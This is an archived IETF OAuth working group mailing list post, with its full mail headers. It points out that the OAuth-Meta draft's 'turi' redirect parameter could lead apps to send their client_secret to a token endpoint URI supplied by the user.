[OAUTH-WG] oauth-meta: turi allows user to mislead app

"Manger, James" <James.H.Manger@team.telstra.com> Thu, 28 January 2016 02:38 UTC

Return-Path: <James.H.Manger@team.telstra.com>
X-Original-To: oauth@ietfa.amsl.com
Delivered-To: oauth@ietfa.amsl.com
Received: from localhost (ietfa.amsl.com []) by ietfa.amsl.com (Postfix) with ESMTP id 7E53A1B2D0F for <oauth@ietfa.amsl.com>; Wed, 27 Jan 2016 18:38:22 -0800 (PST)
X-Virus-Scanned: amavisd-new at amsl.com
X-Spam-Flag: NO
X-Spam-Score: 0.998
X-Spam-Status: No, score=0.998 tagged_above=-999 required=5 tests=[BAYES_40=-0.001, HELO_EQ_AU=0.377, HOST_EQ_AU=0.327, HTML_MESSAGE=0.001, RCVD_IN_DNSWL_LOW=-0.7, RELAY_IS_203=0.994] autolearn=no
Received: from mail.ietf.org ([]) by localhost (ietfa.amsl.com []) (amavisd-new, port 10024) with ESMTP id 74ggSMWz-lwn for <oauth@ietfa.amsl.com>; Wed, 27 Jan 2016 18:38:20 -0800 (PST)
Received: from ipxcno.tcif.telstra.com.au (ipxcno.tcif.telstra.com.au []) by ietfa.amsl.com (Postfix) with ESMTP id E2D681B2D0E for <oauth@ietf.org>; Wed, 27 Jan 2016 18:38:19 -0800 (PST)
X-IronPort-AV: E=Sophos; i="5.22,356,1449493200"; d="scan'208,217"; a="56253100"
Received: from unknown (HELO ipcbni.tcif.telstra.com.au) ([]) by ipocni.tcif.telstra.com.au with ESMTP; 28 Jan 2016 13:37:55 +1100
X-IronPort-AV: E=McAfee;i="5700,7163,8057"; a="71560663"
Received: from wsmsg3755.srv.dir.telstra.com ([]) by ipcbni.tcif.telstra.com.au with ESMTP; 28 Jan 2016 13:37:55 +1100
Received: from WSMSG3153V.srv.dir.telstra.com ([]) by WSMSG3755.srv.dir.telstra.com ([]) with mapi; Thu, 28 Jan 2016 13:37:55 +1100
From: "Manger, James" <James.H.Manger@team.telstra.com>
To: "oauth@ietf.org" <oauth@ietf.org>
Date: Thu, 28 Jan 2016 13:37:54 +1100
Thread-Topic: oauth-meta: turi allows user to mislead app
Thread-Index: AdFZbQqpN1T943YST2yDeqhGLzRVLQ==
Message-ID: <255B9BB34FB7D647A506DC292726F6E13BB6E3B8E0@WSMSG3153V.srv.dir.telstra.com>
Accept-Language: en-US, en-AU
Content-Language: en-US
acceptlanguage: en-US, en-AU
Content-Type: multipart/alternative; boundary="_000_255B9BB34FB7D647A506DC292726F6E13BB6E3B8E0WSMSG3153Vsrv_"
MIME-Version: 1.0
Archived-At: <http://mailarchive.ietf.org/arch/msg/oauth/ibNnYV4siBwpk2ZI83-Yu5Kzxsw>
Subject: [OAUTH-WG] oauth-meta: turi allows user to mislead app
X-BeenThere: oauth@ietf.org
X-Mailman-Version: 2.1.15
Precedence: list
List-Id: OAUTH WG <oauth.ietf.org>
List-Unsubscribe: <https://www.ietf.org/mailman/options/oauth>, <mailto:oauth-request@ietf.org?subject=unsubscribe>
List-Archive: <https://mailarchive.ietf.org/arch/browse/oauth/>
List-Post: <mailto:oauth@ietf.org>
List-Help: <mailto:oauth-request@ietf.org?subject=help>
List-Subscribe: <https://www.ietf.org/mailman/listinfo/oauth>, <mailto:oauth-request@ietf.org?subject=subscribe>
X-List-Received-Date: Thu, 28 Jan 2016 02:38:22 -0000

The OAuth-Meta draft <draft-sakimura-oauth-meta-05> returns the token endpoint (in a "turi" query parameter) when redirecting a user from the authorization endpoint back to an app. The app presumably then POSTs the "code" (also in the redirect) to "turi" to get an access token. However, apps typically send their client_secret to the token endpoint to authenticate. Sending a client_secret to a URI that came from a user is insecure.

A RESTful OAuth would be a great improvement, but it doesn't look like providing the token endpoint (nor discovery endpoint) in a redirect is the right approach.

James Manger